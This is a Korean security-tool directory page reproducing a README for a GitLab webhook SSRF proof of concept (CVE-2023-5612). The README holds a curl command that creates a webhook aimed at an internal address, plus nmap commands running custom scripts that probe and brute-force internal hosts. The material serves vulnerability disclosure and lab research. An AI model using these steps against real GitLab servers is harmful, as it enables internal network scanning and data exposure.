Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Review.CVE-2023-5612 — CVE-2023-5612(GitLab CE/EE 웹훅 SSRF)에 대한 개념 증명 및 분석. 내부 URL을 검증하고 무차별 대입하기 위한 curl PoC 단계와 사용자 정의 NSE 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/constantinefedorov/review.cve-2023-5612
Vulnerability ScannersNetwork MappingVulnerability AnalysisExploitationWeb SecurityPenetration TestingRed Teaming
GitHubconstantinefedorov/review.cve-2023-5612

Review.CVE-2023-5612

CVE-2023-5612(GitLab CE/EE 웹훅 SSRF)에 대한 개념 증명 및 분석. 내부 URL을 검증하고 무차별 대입하기 위한 curl PoC 단계와 사용자 정의 NSE 스크립트를 포함합니다.

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-5612 – 웹훅 URL을 통한 GitLab SSRF (PoC 및 분석)

📌 CVE 개요

  • CVE-ID: CVE-2023-5612
  • 심각도: 높음 (CVSS: 8.1 기본 점수)
  • 유형: 서버 측 요청 위조 (SSRF)
  • 구성 요소: GitLab CE/EE 웹훅
  • 영향받는 버전: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 설명

GitLab CE/EE의 SSRF 취약점을 통해 유효한 프로젝트 Maintainer 권한을 가진 공격자가 악성 웹훅 URL을 사용하여 임의의 내부 서비스로 조작된 요청을 보낼 수 있습니다. 이를 악용하면 내부 네트워크 스캔, 메타데이터 유출 또는 추가 피벗이 가능합니다.


✅ 익스플로잇 조건

  • 공격자가 프로젝트에 대한 maintainer 접근 권한을 보유
  • GitLab이 URL 훅에 대한 엄격한 필터링 또는 검증을 수행하지 않음

⚙️ PoC 단계 (수동)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 환경 및 설정

- 테스트 전용으로 배포된 가상 머신 내의 Kali Linux
- Docker를 통해 실행된 취약한 GitLab CE 인스턴스 (포트 8080)
- GitLab 내부:
- 테스트 프로젝트 생성
- Maintainer 권한을 가진 Personal Access Token (glpat-...) 생성
- 내부 SSRF 타겟을 위해 127.0.0.1:8888에 최소 HTTP 서비스 실행

🧠 방법론

- curl을 통한 수동 취약점 확인 (PoC 참조)
- 사용자 정의 NSE 스크립트 작성:
gitlab-ssrf.nse: SSRF 정밀 검사
gitlab-ssrf-brute.nse: 내부 주소 자동 브루트포스
- nmap -d 및 --script-trace를 사용한 테스트로 API 동작 분석 및 결과 기록
- 내부 서비스로부터 401 Unauthorized 응답 수신, 이는 SSRF 성공을 나타냄
- 성공적인 요청은 `201 Created`를 반환하거나 `401 Unauthorized`와 같은 오류를 반환하며, 이는 SSRF 접근을 나타냅니다.

🛠 NSE 스크립트 (수동 트리거)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 NSE 스크립트 (내부 URL 브루트포스)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 결론

**CVE-2023-5612** 취약점 연구 과정에서 GitLab CE API를 통해 내부 주소에 접근하는 성공적인 SSRF 공격 시나리오가 재현되었습니다. 이는 웹훅의 기능을 제한하고 서버 측에서 URL 검증을 구현하는 것이 얼마나 중요한지 보여줍니다.

🎯 목표 달성:

  • SSRF 확인됨
  • NSE 도구 구현됨
  • 프로젝트 문서화 및 커뮤니티에 공개

📂 저장소 구조

.
├── gitlab-ssrf.nse             # 수동 SSRF 검증용 NSE 스크립트
├── gitlab-ssrf-brute.nse       # 내부 호스트/포트 스캔용 NSE 브루트 스크립트
├── screenshots/                # PoC 실행 및 취약점 확인 스크린샷
└── README.md                   # 이 파일

🖼 스크린샷

  • ✅ 401 Unauthorized 반환과 함께 SSRF 성공
  • 📜 스크립트 실행이 포함된 nmap 로그
  • 📦 API를 통한 웹훅 추가

⚠️ 완화 방안

  • GitLab을 >= 16.2.7 / 16.3.4 / 16.4.1로 업그레이드
  • egress 방화벽을 통해 아웃바운드 HTTP 제한
  • 웹훅에 내부 허용 목록 사용

🧠 작성자 및 연락처

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst


📅 타임라인

  • 2025년 6월: PoC 및 취약점 분석
  • 2025년 6월 5일: 사용자 정의 NSE 스크립트 작성 및 테스트

🔐 면책 조항

모든 테스트는 의도적으로 취약한 버전에 대해 격리된 실험실 환경에서 수행되었습니다. 승인되지 않은 시스템에 대해 이를 사용하지 마십시오. 윤리적 해킹 원칙을 준수하십시오.

도구 다운로드